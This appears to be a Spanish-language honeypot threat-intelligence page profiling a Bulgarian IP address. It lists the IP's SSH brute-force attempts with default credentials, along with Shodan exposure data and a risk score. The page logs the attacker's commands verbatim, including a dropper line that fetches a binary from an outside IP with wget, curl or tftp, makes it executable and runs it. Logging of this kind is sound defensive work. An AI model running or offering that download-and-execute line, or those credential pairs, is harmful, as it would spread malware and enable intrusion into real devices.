Amenaza Activa • MEDIO
85.239.151.41
🎯
88
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
3
Malware
Geolocalizacion
- Pais
- 🇧🇬 BG
- Ciudad
- Desconocida
- ASN
- AS19318
- ISP
- Interserver, Inc
Tipos de Ataque
ssh_telnet_honeypot
Puertos Atacados
22
Malware Asociado
Credenciales Intentadas
🔐admin/admin
3x🔐admin/password
3x🔐ubnt/ubnt
2xComandos Ejecutados
$
shell6x$
system6x$
linuxshell6x$
enable3x$
sh3x$
cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai3x$
rm -rf shr; wget http://202.155.10.112/shr || curl -O http://202.155.10.112/shr || tftp 202.155.10.112 -c get shr || tftp -g -r shr 202.155.10.112; chmod 777 shr;./shr ssh; rm -rf shr3xExposicion segun Shodan InternetDBShodan
Datos de InternetDB, actualizacion no en tiempo real
Puertos
22
Hostnames
elegantnorth.ptr.network
CPEs
cpe:/o:debian:debian_linuxcpe:/o:linux:linux_kernelcpe:/a:openbsd:openssh:7.9p1
Evaluacion de Riesgo
45
/100
BajoMedioAltoCritico